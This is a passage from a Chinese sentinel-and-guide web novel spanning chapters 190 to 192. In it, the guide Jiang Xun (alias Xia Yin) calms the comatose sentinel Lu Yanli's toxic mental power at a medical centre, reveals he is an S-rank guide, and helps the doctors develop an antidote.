“要是有这么个人，陆少将当初又怎么会状态恶化到无可挽回的地步呢？”另一位年长些的医师，从陆厌离少时就已经任职在愈灵殿里，一路看着他从刚刚觉醒到最终无奈被放逐，最是清楚他的情况。 就在众人一筹莫展，打算放弃常规方式，就这样慢慢研制解毒剂，等待陆厌离自行醒转过来控制住自己能力的时候，一直沉默地坐在旁边旁听着的阿克塞尔，却突然开口，打断了他们的讨论。 “或许，不需要那么麻烦。” 所有人疑惑的目光瞬间全部集中到了他的身上。 阿克塞尔迎着众人的视线，若有所思地说道：“以前没有，不代表现在也没有。陆厌离他，已经有一位匹配度极高的向导了。” “什么？”他的话令在场的医师们先是一怔，随即，眼中纷纷浮起了难以置信的光芒。 “这不可能。”古德里安一下子站了起来，连躬起的脊背都挺直了，面上满是质疑，“陆厌离少将从少时能力初觉醒后，精神力就拥有了强烈的毒性，像他这样独特的特殊属性，本身就极难有能够天然匹配上的向导。很久之前，玛格丽特殿主还在愈灵殿时，就专门研究过他的精神力。 像他这种情况，最有希望获得高匹配度向导的可能，只有人工干预。这需要让一个预备向导，在初觉醒时就开始频繁接触他的毒性精神力，这样才能在对方的能力成长过程中，令向导精神力不断地去适应他的精神力，最终达到提高匹配度的效果。 可问题是，初觉醒的小向导，根本承受不住频繁接触他的精神力所造成的毒性侵蚀。活不到能力成长起来便会被陆少将的精神力毒死。 这么多年以来，我们也始终在联盟中寻找天生能够与他的能力匹配上的向导。联盟登记在册的向导，甚至外域中一些没有登记的高阶向导，我们几乎都有所了解，其中根本没有能够和他的匹配度超过60%以上的存在。C级以下的向导倒是有几个匹配度够60%的，可他们的能力等级根本不足以为一位S级哨兵疏导，更不要说是匹配绑定了。” 另一位医师也适时附和道：“是啊，阿克塞尔上校，您是否弄错了？如果出现了这么一位向导，那他的资料一定会第一时间被智脑阿波罗发送到我们这边来的。而且，这个消息一定会在上层的圈子里引起震荡，我们不可能一无所知。” 阿克塞尔心中也有些疑惑，但此事是陆厌离亲口告诉过他的，不可能有假：“我很确定的确有这样一个人。我不知道他的资料为什么没有被人发现，但我知道，他们应该是在寂静星上认识的。”他的目光扫过众人，“你们难道就没有想过，当初他的堕化值都已经接近了临界值，被放逐到寂静星上等死了，为什么会突然康复过来？” 他略作停顿，反问道：“要说能令哨兵治愈的力量，第一个就应该想到向导吧？这件事，他本人从没表现出来过吗？” 众位医师们再次愣住，这个问题一朝被一个外行人点破，顿时让他们在难以置信之余，面面相觑，惊疑不定。 陆厌离身上发生的那犹如奇迹般的情况，一直是愈灵殿内部的一个未解之谜。从即将堕化到完全康复，这件事本身就足够离奇，再加上他在康复的同时，自身精神力还大跨步地增进了很多。这样的变化，完全超出了在他们的常规认知中，人力所能做到的范围，所以他们一直猜测其原因应该是某种可遇不可求的奇妙机缘。 可现在按照阿克塞尔的说法，这样的奇迹是由一位名不见经传的向导完成的？ “对啊！我怎么没想到呢？！”尼克斯的眼睛越来越明亮，口中喃喃道：“最有可能让他恢复的力量，不就是向导吗？！” 尼克斯猛地看向阿克塞尔，脚下疾行几步，几乎怼到了他的面前，脸上浮现出一股有点神经质的狂热：“阿克塞尔上校，您的意思是……陆厌离少将的康复，乃至他之后能力的异常增长，都与这位向导有关？” “……我只知道是这位向导治好他的。至于能力增长的原因？我就不清楚了。”阿克塞尔迟疑着点了点头，又想起了什么，补充道：“而且，听陆厌离提起过，这位向导如今就在中央星。听他的意思，他们之间关系匪浅。” 尼克斯的呼吸骤然急促起来，双目爆出精光。 之前他就一直在负责研究陆厌离能力提升的课题，也是他当初力排众议，在陆厌离能力提升的黄金期，排除了身体素质的提升，一力主张提升他的精神力。 虽然之后的效果的确惊人，但当时他的精神力并没有突破SS级的最低门槛，完成质变。这一度让他在课题组中的话语权受到了很大影响。他也曾想过找出对方这种异常提升的原因，再次重现，让陆厌离一鼓作气迈过那个门槛，却因为信息的缺失，一直没有头绪。 可此刻，机会出现了！一个全新的、至关重要的变量出现了！ 一位能匹配上陆厌离，并曾经将他从堕化的深渊中拉回来的神秘向导！ 这个人的出现，不仅关系着陆厌离如今的救治，还可能解开他之前能力异常增长的谜团！ “我们要马上找到这名向导！”尼克斯转向其他医师，语气急切，“他是目前唯一一个可能安全接近陆少将，安抚下他失控的精神力，为后续的救治创造条件的人。更可能……” 他双目发亮地与已然明白了他的意思的古德里安对视了一眼：“更可能帮助陆少将再次冲击SS级，成为创造历史的第一人！” 头发花白的古德里安，此时也完全兴奋了起来，不住念叨起来：“对！对！马上派人去查一查陆厌离回到中央星之后的行动轨迹，这个向导一定在他身边出现过！不管花费多少代价，我们都要把这个人找出来！” 正当两人心急火燎地就要派人去调查时，一位一直跟在众人身后，听着各位专家们讨论的年轻实习生，此时却犹犹豫豫地站了出来：“那个……尼克斯组长，如果你们要找的是一位出现在陆少将身边，并且与他关系亲密的向导，那可能不必调查……” “嗯？”所有人的目光，随着这句话全都落在了这位年轻实习生的身上。 他暗自咽了一口唾沫，这才顶着众人的视线说道：“陆少将这次回来，一直与一位在圣所中读书的B级向导在一起，这件事早就在我们的圈子里传遍了。” 为了证明自己所言不虚，他立刻点开了自己的终端，登上圣所的内部论坛翻了翻，而后点开了一篇热度很高的帖子，将上面的图片展示给众人看。 打眼看过去，这就是一张十分普通的照片，是两个人坐在一起吃饭的情景。而且这背景，一眼便能看出来是圣所的公共食堂。 可这份普通，在众人看清照片上的人影之后便变得不再寻常。 阿克塞尔瞪着那张照片，不知不觉惊讶地张大了嘴巴。 照片上，陆厌离正穿着一身宽松的浅色系衣服与另一个陌生的年轻男子相对而坐。他的脸上满是众人从没见过的轻松笑意，正微微启唇去够对面的男人投递过来的剥好了皮的甜虾。 两人之间的气氛十分甜蜜和谐，就如同出现在圣所中的任何一对普通的年轻伴侣一样。 见到众人都被陆少将的这幅模样震惊到，这位实习生在心里暗笑一声。这与他刚开始知道这件事时的表现一模一样。 他着重伸出手指，在陆厌离对面的俊秀男人身上点了点：“这位就是那个一直与陆少将在一起的向导。名字叫做……” “夏因。” * 圣所高级研修班下午的课程刚结束，江寻正低头整理着笔记书册打算回家，却听大门外隐约传来一阵不同寻常的喧哗声。 他本不欲探究，可其中隐隐传来的“S级哨兵”、“联盟双星”之类的字眼，却一下子吸引到了他的注意。 江寻心中猛地一跳，难道是陆厌离回来了？ 这些天里萦绕在心头的不安与期盼被迅速勾了起来，他立刻手下加速收拾好了东西，脚步匆匆地向大厅外走去。 星环大厅门外，已是人头攒动，只见学员们在门口旁侧的廊道上围成了一个圈，正一边向内探望着，一边兴奋地窃窃私语。 江寻忙向前走了几步，伸长脖子左右寻觅一番，找到个人群的空隙向内望去，一眼见到那被簇拥在中间的人影时，却是一楞。 那人并不是他所期盼的那个身影，而是一个身形高大，红发深肤的陌生男人。他懒洋洋地斜倚在旁边的廊柱上，嘴角挂着一抹漫不经心的笑意在人群中扫视着，周身散发出一种十分张扬肆意的强大气场。 江寻微微蹙眉，只觉得这人好像有些眼熟，却一时没想起自己在哪里见过他。 此时，那红发哨兵却像是有所感应一般，锐利的目光倏忽穿过人群，直直与江寻的视线撞在了一起。 那人似乎是在江寻脸上扫了扫，确认了什么，随即脸上露出一个更加兴致盎然的微笑，站直了身体。 他的动向一下子点燃了周围围观人群的好奇心，喧哗的骚动猛然提升了一个度。 却见那人站直之后，丝毫没有犹豫，带着身后两名随从，便径直向着大厅门口的方向走来。 围观的人群被他强大的气势所摄，在拥挤中不由自主地向着两侧退开，让开他前进的路径。所有人的视线都跟随着这人移动着，最后，齐刷刷地落在了正站在大厅门口，面色疑惑的江寻身上。 待看清江寻的身影，人群中骤然爆发出一阵难以置信的低呼与羡慕的惊叹声。 “是夏因！” “又是来找他的？” “天啊，这已经是第几个了……” 阿克塞尔对周围的骚动声充耳不闻，大步走到那个与照片上一模一样的男人身前，感兴趣地上下扫视一番，便微微俯身，凑到江寻耳边，用只有两人能听到的音量，快速低语了几句。 江寻原本疑惑的脸上猛然闪过一丝惊愕，随即瞬间抬起了眼，待看清阿克塞尔眼中的认真与深藏其中的一丝隐忧时，面色立刻冷静了下来。他没有多问，只果断地应了一声：“好。” 阿克塞尔满意地点了点头，对着江寻伸手一引。江寻没有丝毫犹豫，立刻跟上了他的脚步，迅速穿过自动分开的人群，下了廊道，登上了停在主干道上的一辆有着特殊标识的悬浮车。 随即，悬浮车无声启动升空，而后化为一道流光，迅速消失在了众人的视野中。 直到此时，围观的人群中才轰然爆发出一阵热议，所有人的脸上都挂上了惊讶与兴奋八卦的神情。 “刚才那个是阿克塞尔上校吧？又是一个‘联盟双星’！” “怎么连他都来找夏因了？他们又是什么时候认识的？” “伊莱少爷，陆厌离少将，现在又来了个阿克塞尔上校……三个S级哨兵了！联盟现存的七个哨兵，都来了快一半了！” “应该说，适龄未婚的S级哨兵全都来了……这个夏因到底有什么魅力？他是什么来头？！” 各种猜测、惊叹、羡慕与嫉妒交织在一起，中心人物全都是夏因这个看起来只是比较优秀一点的B级向导。 可以想见，在接下来一段时间里，关于夏因与这第三位S级哨兵的关系，又会成为圣所学员中热议的重点。 而此刻的江寻，坐在高速行驶的悬浮车里，却丝毫没有心情去考虑这些可能出现的新的流言。 他的心神全部集中在了刚才阿克塞尔在他耳边低语的那句话上： “陆厌离重伤昏迷，情况危机中，他现在需要你。”—— 作者有话说：江江站上明面上的舞台啦[彩虹屁]《 》 190-195 第191章 悬浮车内， 阿克塞尔饶有兴致地打量着坐在对面的江寻，似乎想看清楚面前这个人有什么魔力，能让那个从小就循规蹈矩， 性情清冷的陆厌离变了个模样。 江寻看着对面人的表情，此刻的情绪也恢复了平静。情况应该没有自己想象得那么糟，不然面前的人也不会在这种时候还好奇自己的事。 是的，江寻终于想起了这个红发男人的身份。他正是在联盟军部中被称作“联盟双星”的另一人， 第九军团上校阿克塞尔。 江寻没有在意他打量的目光， 反而大大方方地直视了过去， 认真问道：“是阿克塞尔阁下吧？您刚才说陆厌离重伤昏迷？请问……他现在具体是什么情况？” 提起了那个现在还处于昏迷中的友人，阿克塞尔这才收敛了那份好奇， 语气同样严肃了起来：“他去绿洲星做任务的事你知道吧？” 江寻心中一动，想起了陆厌离离开之前那些不同寻常的举动，面色有些难看。他看向阿克塞尔， 点了点头。 阿克塞尔眉头一挑， 他没想到面前这个陌生的向导和陆厌离的关系已经这么亲密了，看样子，他连这次任务有问题都知道。不过这样一来， 他要说明起来也更方便了。 他接着说道：“在这次任务中， 他受了些伤。不过这些皮外伤没什么危险， 重点是， 他还中了几种复合的孢子病毒， 因为这些病毒的关系， 他目前人在愈灵殿， 处于昏迷状态。”他顿了顿，补充道，“愈灵殿有全联盟最好的医师与研究者， 做出解毒剂没有问题，但是他们现在遇到了一些其他方面的治疗困境需要你去帮忙解决。具体的状况，等到了愈灵殿，负责的医师会详细告诉你的。” 听起来，陆厌离现在有些危险，但风险都还在可控的范围内。江寻心中的隐忧放下了一些，点了点头，也不再追问。静静坐在车厢里，看着窗外的风景飞速倒退。 专用路线畅通无阻，几人乘坐的悬浮车没有多久就抵达了目的地，直接降落在了愈灵殿专用的停车坪上。 江寻远远地就看到了场中站着的几个人，待他们的车门一开，那几个人立刻迎了上来——正是早已等候在此的尼克斯研究组长和医疗小组中几位核心医师。 “阿克塞尔阁下！”尼克斯快速向首先迈下车子的阿克塞尔打了个招呼，目光便急切地看向他身后，待看到随着他的脚步迈下悬浮车的江寻，目光顿时一亮。 “这位就是夏因先生吧？你好！我是尼克斯，陆少将目前所在的医疗小组的组长。麻烦你过来了，来来，我们边走边说。” 尼克斯脸上绽开一个期待的笑容，一把拉住江寻的手臂，一边向着愈灵殿内部的隔离监护室走去，一边语速极快地开始给江寻解释让他过来的用意。 江寻已经圣所中学习了很久了，自己的能力方向也一直走的是治愈路线，三言两语就明白了如今的状况。 知道了具体的情况，他的心终于算是彻底放松了下来。 这样的情况，他自然不会拒绝帮忙，便将尼克斯的请求一口答应了下来。 几人经过简易消杀，迅速穿过数道隔离门，来到了准备间，尼克斯抓起一套和他们一样的封闭式防护服递给江寻：“这是我们愈灵殿最新出品的防护服，对有害物质的隔绝率达到了98%以上。你放心，治疗期间愈灵殿会保证你的安全。就算万一出现了意外感染的情况，我们也有充足的预案，能及时处理各种问题。” 江寻点了点头，他相信愈灵殿中这些经验丰富的医疗专家们。没有迟疑地接过防护服，动作利落地穿戴好，便跟着同样全副武装的尼克斯与另外两名医师，推开了通往隔离监护室的内门。 门刚刚打开，几人便感受到了迎面而来的那股无形压力。 尼克斯看了一眼身边的江寻，看着他毫无异状的表情，心中暗赞一声，对这次尝试的把握更足了些。 几人小小翼翼地向着横放在中央的那个隔离医疗舱走去，一边走着，一边关注着旁边的环境监测仪上的读数。 很明显，陆厌离身上的自主防御力场已经感应到了他们的存在，监测仪屏幕上，代表着精神力波动的那条曲线，正随着他们的靠近缓缓向上攀升着。 几人稳了稳心神，没有太过紧张，以往，他们都要走到距离陆厌离三米左右的位置时，防御场才会出现主动攻击的现象。现在几人的距离还远，尼克斯只是轻声提醒了一下很可能是第一次应对这种情况的江寻：“小心，他的防御力场已经发现了我们……” 谁知，他的话音还未落下，监测仪屏幕上的波动曲线便突然开始直线上升。受此触动，表盘上，刺目的红灯立即亮起，发出了“滴滴滴”的急促警报声。 尼克斯三人被这突如其来的异常变化一惊，下意识地后退了半步。凝目向着陆厌离的方向一看，更是大惊失色。 只见远处那个医疗舱里，突然爆发出了一股巨大的灰黑色能量浪潮。与以往单纯的防御性力场不同，这一次，对方的精神能量几乎具现化出了形体，像是一团冬眠中被惊醒的蛇，又像是道道被发射出来的钩索，猛地向着几人的方向急速袭来。 “小心防御！”尼克斯面色一变，第一时间在自己面前竖立起了一道坚固的精神屏障，并提醒身边跟着的另外三人。 还来不及后悔自己随意让一个还在圣所中念书的孩子就此涉险的鲁莽行为，他便看到那凶猛袭来的“精神绞索”已经来到了几人面前。 然而，很快他便发现自己的这番紧张后悔，落了空。 那道狂暴袭至几人面前的精神洪流，像是有自己的意志一般，根本没有去理走在最前面的尼克斯等三人。而是在他们身侧划过一道弧线，随即，精准地，几乎是迫不及待地全部缠绕上了走在最后面的江寻！ 一触碰到江寻，那股气势凶猛犹如出洞毒蛇般的精神力，又突然失去了所有的凶悍之气，一下子变成了缠上饲主的菟丝花，顺着江寻的身体急切又亲昵地攀爬上去，隐隐地，还透露出了股子委委屈屈的意味来，像是受了欺负的孩子，找到了身后的靠山。 这突如其来的变故，令尼克斯等人目瞪口呆，几乎以为是自己产生了幻觉。 江寻也被这汹涌而来的精神力缠绕得微微一怔，但面对着熟悉无比的精神力，他却丝毫紧张不起来。更何况，他还从这股精神力上，感应到了一种强烈的，想要把他拉近过去的渴望。 只是，突然将这般有些过于亲昵的景象展示在了还不太熟悉的外人面前，令江寻感觉有些尴尬。 不过这些许的尴尬，不会令他拒绝自家哨兵的邀请。 他没有抗拒这股精神力的拉扯，反而主动向前走了几步。同时，眼睛低垂下来，聚气凝神，撩动自己的精神海，将一股温和而平稳的精神力从身体中释放出去，主动迎上了那些显得有些躁动急切的灰黑色能量。 两股完全不同的精神力接触的刹那，毫无波澜地融汇交融。 那原本充满了攻击性与毒性的灰黑色精神能量，瞬间变得温顺安宁，静静伏了下来，任由另一股精神力裹挟、渗透着它，带领着它缓缓退了回去。 这样的状况看得尼克斯双目一亮，这位向导产生的效果，竟然比自己能想象到的还要好得多！看这两股精神力的适配性，陆厌离与这位名叫夏因的B级向导，匹配度恐怕会出乎所有人意料的高。 “非常好！就是这样，夏因向导！请维持住这个状态。”B级向导的精神力总量有限，恐怕这位让人出乎意料的向导也维持不了多长时间。尼克斯不再多想其他，立刻示意身边的两位医师，趁着这个机会上前采集样本数据。 两位医师反应也很快，马上跟上了江寻前进的脚步，眼看着陆厌离身上爆出的那股最危险的精神洪流已经被江寻成功安抚了下来，他们就要顶着危险度大降的毒性防御力场靠近采集。 可江寻的动作却比两人更快。 他脚下丝毫也没有停留，直接便突破了陆厌离身周的安全距离，走到了透明的隔离仓面前。看着无声无息地躺在里面，面色苍白，眉宇之间隐隐蕴着痛楚的陆厌离，眼中闪过一丝心疼。 手掌搭上透明的舱盖，隔着玻璃细细描摹几下陆厌离瘦削的轮廓。江寻轻叹口气，闭上了双眼。 这一次，他丝毫没有保留，体内的整个精神海都随着他的意志被搅动了起来，升腾起巨量活跃而精纯的精神力。 随后，这股精神力被他完全调动起来，顺着他周身的毛孔完全释放了出去。 一瞬间，一股远比之前庞大而精纯，富有生机的活跃精神力，如同海啸般，以他为中心轰然扩散开来，向着整个监护室蔓延过去。只在刹那间，便将整个房间，连同面前的隔离舱与舱中的陆厌离，完全笼罩了进去！ 在这股浩瀚精神力的笼罩下，不止是陆厌离爆发出来的那股强大的精神力退缩了回去，连他周身那防御性的精神力场，也温顺地收敛起了爪牙，像退潮般缓缓向着医疗舱内缩回，回归到了陆厌离体内。 旁边环境监测仪的屏幕上，那条无限上扬的曲线也如悬崖般骤然下跌，“滴滴滴”的警报声戛然而止，那条代表了精神力波动的曲线不止完全回落了下去，甚至一直下跌，直到降低成了一条几乎看不出波澜的直线。 站在江寻身边的尼克斯与另外两名取样医师，呆愣地看着监护室内这风起云涌的变化，感受着那充斥于房间每一个角落，浩瀚如海，又纯粹得几乎要在现实里凝成实质的向导精神力，脸上露出了极度震惊的表情。 他们难以置信地看向那个不动声色地站在陆厌离医疗舱前，在今天之前还几乎无人知晓的年轻向导，完全忘记了动作。 这……这样的精神力，绝不是一个B级向导能达到的层次！ 这种程度的力量，他甚至在如今的愈灵殿殿主身上都没有看到过！ 尼克斯的瞳孔骤然收缩，一个不可思议的猜测在他的脑海中疯狂闪现出来。 江寻不知道尼克斯几人此时在心中掀起了怎样的惊涛骇浪。 完全压制住陆厌离的精神力后，他便转过了头，看向身后愣在原地的三人，微微颔首示意。 看到江寻的动作，尼克斯这才猛然回过了神来。他深深看了江寻一眼，目光中闪过极度的兴奋，却没有在此时追问下去。而是看向身旁另外两名医师，提醒一般向着他们打了个手势。 另外两名医师也算见多识广，即使心中已经惊讶至极，此时在江寻与尼克斯两人的先后提醒下，也回过了神来。 略略为自己不专业的举动惭愧了一秒，他们便收敛起心神，拿出了专业的素养，动作迅速地上前，有条不紊地完成了对陆厌离的血液、毛发以及环境样本等各类详细项目的采集工作。 没有陆厌离自身防御力场的妨碍，两名医师工作起来完全不用分心提起精神力去保护自己，采样工作完成得十分快速。 待两人彻底结束了工作，时间也才过去了不到五分钟。 看了看依然毫无所觉、静静躺在医疗舱中的人，江寻心下思忖了片刻。 反正自己的精神力已经放出来了，就只是用来压制一下似乎有些浪费…… 江寻心下一动，扩散占据了整个房间的精神力开始缓缓回收，却没有收敛到他的体内，而是向着面前的医疗舱集中了过去。 越发精纯的精神力，在江寻的调动下被凝聚压缩起来，几乎在现实中完全具现化出来，散发出朦朦胧胧的乳白微光。 可这股庞大的精神力又极其温柔和缓，在江寻的操控下，如暖流一般汇聚到了陆厌离身周，缓缓渗透了进去，在他的四肢百骸之内细致地冲刷而过。暖流过处，些许的污秽被净化；紊乱的能量被抚平；稍显干枯的经脉被滋润；缺损了的角落被重新修复。 江寻没有使用任何技巧，甚至连触碰都没有，只是凭借着自己这庞大的精神力，便为昏迷中的陆厌离进行了一次和缓又彻底的疏导。 直到疏导完成，他才缓缓收回了自己的精神力，随着众人一起安静地退出了这间隔离监护室。 两名医师感谢地对着江寻点了点头，便立即带着最新的样本赶往实验室去研制最新的解毒剂了。 此时最紧迫的正事做完，尼克斯与一直呆在监护室观察窗外，看到了刚才所有过程的其他医师、研究员们，终于忍不住心底研究的热情，纷纷围了上来，将目光全部聚焦在了江寻身上。 “夏因先生，”尼克斯引着江寻在旁边的长桌上坐了下来，稍稍思考了一下措辞，便迫不及待地开了口，“请原谅我们的冒昧询问，但是，关于陆少将之前奇迹般的康复，一直是我们研究小组中的未解之谜。我们到今天才知道，原来是您当时一手缔造出了这个奇迹。” “不知道您是否能详细地告诉我们，您当初是如何将他从那样的堕化边缘拉回来的？这简直违背了我们现有的向导医学认知！” 显然，这个疑问并不是尼克斯一人独有，他的问题刚提出来，周围其他的医师们也纷纷目露渴望地围了上来，江寻甚至还看到有一位年纪比较大的医师认真地戴上眼睛，从怀中掏出了一个笔记本来，作势要记录。 江寻一向对愈灵殿中的这些一心钻研医学的专家们非常有好感，再加上他自己走的也是治愈的道路，思索了片刻，感觉除了自己穿越的事情之外，其他事件似乎也没有隐瞒的必要，便不吝解释，组织了一下语言，开始对众人讲述起来：“我当初意外降落在了寂静星上，刚认识陆少将的时候，他已经半固定在了初生态，无法变回人形了……” 江寻语速不快，说一会儿还会停一会儿回忆往昔，从两人初遇开始说起，讲到自己受陆厌离濒临失控的精神冲击意外觉醒，又怎么自己摸索着学会精神力的初步应用，为陆厌离净化了精神图景外层积累的所有污染，最终令他的堕化值降下来的过程。 当然，他的讲述中刻意避开了一些两人相处时的细节情况，只是以自己的视角客观描述了整个过程，令在场的医学专家们能得到更加准确的信息。 “原来如此，真的是……太巧合也太幸运了。”尼克斯听得双眼放光，听到两人的相遇与江寻的觉醒，便为他们这段恰逢其会的缘分而感叹。听到江寻仅凭自己摸索就能学会精神力的初步运用方式，成功给陆厌离净化污染，更是赞叹连连，不断地追问着细节：“你当时为他疏导治疗时使用的方法就仅仅是接触疏导和浅层疏导？没有用过任何特殊的物品或者药物辅助吗？” 江寻摇了摇头：“没有，当时条件有限，我那时甚至都不知道哨兵向导是什么，也对相关的知识一无所知。” “简直是……太不可思议了。”尼克斯看向江寻的目光充满了赞叹与欣赏。自己等人的形容没有错，这完全是一次堪称奇迹的治愈。一个意外觉醒，对哨向知识一无所知的新任向导，居然能凭借着自我摸索，为一位S级哨兵成功净化。虽然按照他的描述，这其中有着很大的运气成分，也花费了很长时间，但这件事最终达成的成果却是真实又惊人的。这样的事，在联盟中史无前例，他觉得，在以后也不会再次出现了。 “没有其他了吗？”古德里安忍不住插话道，比起对方是怎么治愈的陆厌离，他更关心的，显然是另外一个问题，“陆少将恢复之后，能力非但没有因为这次差点完全堕化而受损，反而有了显著的提升。这件事，和你没有关系吗？你知道原因吗？” 说到这里，连江寻的脸上都浮现出了一抹真实的困惑：“我应该没有做过什么特别的事了……”他下意识地将两人的一些亲密行为排除在外，“我连他能力提升这件事也是刚刚听你们说的。之前我们因为不可抗的因素分开了一段时间，重逢之后陆少将也从没和我提过这个。” 尼克斯有些失望地点了点头，不过，今天他们得到的惊喜已经足够多了，便也没有太过贪心。暂时压下了对这个问题的深究，转而又说起了另一个话题：“夏因向导，谢谢您的坦诚，也感谢您今天可以过来为我们提供帮助。但是，现在关于陆少将的情况，我们还有一个问题需要解决。” “您也看到了，陆少将如今因为侵入体内的多种病毒，昏迷不醒。而他现在体内病毒变异的速度很快，又完全不可控。我们需要频繁地采样实验，才能及时调整，制作出针对他身上病毒的解毒剂。”尼克斯看了一眼江寻，继续说道，“这就意味着，需要有人能像您刚才那样安抚压制住他的精神力，让我们可以安全靠近。” 他的语气诚恳，看向江寻的目光中，却带着一些探究：“我们需要得到帮助。但是，在短时间内频繁地去压制住一个接近SS级的哨兵，这个过程会十分消耗精神力，对向导的负担非常巨大。” “一般的向导，即使是A级的，恐怕也难以长时间地坚持下去。”尼克斯咽了一口唾沫，目光紧紧盯着江寻，等待着他有可能的反应。 江寻微微一怔，迎上尼克斯探究的视线时，了然一笑，却没有任何的回避，仿佛自己接下来要说的，只是一件再普通不过的事： “我可以的。” 他顿了顿，清晰而坦然地补充道： “我是S级向导。”—— 作者有话说：江江踏上舞台~撒花撒花[撒花] 第192章 江寻的话音落下， 周遭忽地陷入了片刻的寂静之中。 “您就是那位……希先生？”尼克斯有些怔愣地追问道。 “对，就是我。”江寻再次给予了肯定的答案。 尼克斯张了张口，却不知道该说些什么。 他本只是在心中有了一些猜测， 连他自己都还不确定，这次也只是想开口试探一番，完全没想到对方会这样简简单单就承认了下来。 面前这个年轻人，一直以B级向导的身份不声不响地在圣所中读书， 要不是这一次陆厌离病情所需， 阿克塞尔向他们透露了他的存在， 他们根本都不会知道他。 虽然他不知其中的内情，但看他使用化名， 又隐藏着自己真实等级的情况，他还以为，对方应该是不想对外公开这件事的， 怎么就……一下子承认了？ 到了这时， 尼克斯反而有些不敢相信了。 可旁边那些一直围绕着江寻，听他讲述之前旧事的医师们，却没有像尼克斯这样的曲折心思。 乍一听到江寻承认自己是S级向导时， 还有些没明白过来。直到在尼克斯的追问下， 江寻又承认了自己就是那个前阵子被爆出来， 之后又销声匿迹的神秘S级向导“希先生”后， 这才反应了过来， 瞬间睁大眼睛， 炸开了锅。 “什么？你是S级向导？！” “你就是那个走上寻道者道路的‘希先生’！” “不可能！你怎么会这么年轻？！” 听到这个秘密， 众人的第一反应不是兴奋震惊，而是不敢置信。 要知道，本身联盟向导的数量就少， 每年测试出来的拥有B级以上潜力的更少，更不要说是S级了。就他们所知，如今在向导学院中念书的孩子里，就没有一个人能达到S级的潜力等级。 更何况，向导真实等级的提升还比哨兵要难得多，每提升一级，除了本身的精神海容量要达到门槛，还要熟练掌握每个级别相应的技能。这些都是需要时间与经验去一点点打磨而成的，根本没有一蹴而就的捷径。 向导每次等级提升所要花费的时间，几乎都是以指数级向上翻番的，每提升一级都是一个完全不同的境界。 在这样的情况下，越是高级的向导，数量便越少，年纪也越大。联盟历史上，曾经出现过的最年轻的S级向导，登上S级的台阶时，也都已经四十多岁了。 之前“希先生”的存在被爆出来时，在所有人的印象里，他都应该是一位在民间埋首研究多年的中年学者，没有任何人会把他与一名还在圣所中念书的年轻向导联系在一起。 相比与其他人的质疑，场中最快接受了这个事实的，除了一开始已经有所猜测的尼克斯之外，居然是年纪最大，平时的思想行事最为保守的古德里安。 “原来如此……”古德里安面上现出狂喜与勉力克制住的兴奋，“怪不得你能够以一个初觉醒向导的身份，治愈陆厌离少将。我现在更加确定，陆少将后来之所以会实力异常提升，一定与你有关！” 面对众人投射过来的各色目光，江寻却没有更多地去解释，只是一笑，任凭众人打量。 尼克斯与古德里安对视一眼，交换了一个彼此心照不宣的眼神。反正对方已经表示在这段时间里要留下来协助他们为陆厌离治疗了，他的话中究竟有没有水份，自己等人还有很多时间去验证。 既然已经决定最近这段时间都呆在愈灵殿里，江寻也没有犹豫，马上便乘车回了圣所，亲自向艾略特副所长请了长假，又回家取了一些必要的生活用品，便打算常驻愈灵殿，专心看顾陆厌离。 尼克斯也迅速为江寻安排了临时住处与一个顾问的身份，方便他在愈灵殿中活动。 之后的一段时间里，江寻白天的大部分时间都呆在监护室外的观察间，或是愈灵殿的研究室里，随时准备着响应医师们的需求。 而愈灵殿中工作的医师们，尤其是以尼克斯为首的研究团队，虽然对江寻S级向导的身份仍是将信将疑，但在江寻表现出了自身稳定而强大的精神力水平之后，也高高兴兴地接受了这个强大的协助者。 特别是在他们发现，有江寻的存在，以往一些受限于条件与实力而无法推进的一些前沿猜想与实验，都有了实现的可能，便更是将自己的热情全部投入到了研究中去。 “夏因向导，方便的话能来协助我们一下吗？我们想尝试一下对高危重度堕化的哨兵进行深度精神干预……” “哎呀，你们先等等，后面排队去。夏因向导，您昨天可已经答应过我们先帮我们验证这个高能精神力场的交互模型了！” 刚刚结束了一轮采样，江寻一走出监护室的房门便又被两个早已等候在此的医师抓住了。 这段时间里，对于这些联盟最顶尖的研究者们的邀请，只要不影响到照顾陆厌离，江寻几乎有求必应。对每一位研究员的研究项目都表现出了极大的兴趣与耐心。 作为一个以后同样致力于走上这条道路的学者，他深知这样的机会有多么难得。如果不是他幸运地成为了S级的向导，若是走正常的学术路线，他不知道要过多久，才能接触到这些联盟最前沿的哨向医学知识与精神力研究。更不要说成为这些项目中关键的一员，在最近的距离下见识到这些新奇而深奥的知识了。 如今的他，就像是一块海绵，竭尽所能地吸收着每天接触到的新知识。 只是，虽然他天资、悟性、努力几个方面无一不缺，可正式开始系统化学习哨向知识的时间还是太短。在中层理论构架与某些细分领域中，知识储备明显有所欠缺。为了跟上白天的进度，不得不每天晚上都在愈灵殿为他安排的临时住所里恶补。 这个过程虽然很辛苦，但每当他第二天发现自己又能更多地听懂一些专家们的讨论时，又会获得巨大的满足感。这样的充实生活，令江寻痛并快乐着。 而另一边的阿克塞尔，在听说了江寻S级向导的身份后，对待他的态度又有了些不同。 原本可以说只是对友人感情生活的正常好奇，而现在，却每每用探究又若有所思的目光观察着他。几乎是寸步不离地呆在愈灵殿里看顾着陆厌离。 江寻看在眼里，也没有太过在意。反正自己行得端坐得正，也不怕被人揪辫子，每天在他面前出现都坦坦荡荡的，照顾起陆厌离也细致入微，处处可见他的认真与真诚。 他这样的态度，被阿克塞尔统统看在眼里，时间长了，还真的让对方渐渐放下了戒备，对他有了一些信任，出现在愈灵殿中的频率开始降低，将更多的时间精力放在了与第八军团的威尔逊将军，私下调查绿洲星任务背后的龌龊上。 在江寻无微不至的照顾与安抚，和愈灵殿医师团队的不懈努力下，特效解毒剂的研发进展十分顺利，很快，陆厌离体内的几种复合孢子病毒，便被遏制了起来，活性降低浓度下降，渐渐失去了传染特性，进入了稳定的恢复期里。 这一天，在对陆厌离的血液与监护室中的环境取样结果，进行了最后一次严格的病毒检测之后，尼克斯脸上带着轻松的笑容，对着所有人宣布：“可以了，陆少将身上的病毒已经被基本清除，可以解除隔离，转移到普通的监护室里了。” 随即，厚重的密封医疗舱，舱盖开启，时隔将近半个月时间，依旧处于昏迷状态的陆厌离终于得以重见天日，被医护人员转移到了另一间宽敞明亮的监护室中。 而江寻也终于脱下了那身笨拙而厚重的全封闭防护服，换回了舒适的常服。 坐在陆厌离洁净的新床旁边，看着窗外洒落进来的和煦阳光落在他苍白透明的脸上，透过皮肤映照出一点点粉红肉色来，江寻终于轻轻松了口气。 最危险的阶段，总算是完全过去了。 * 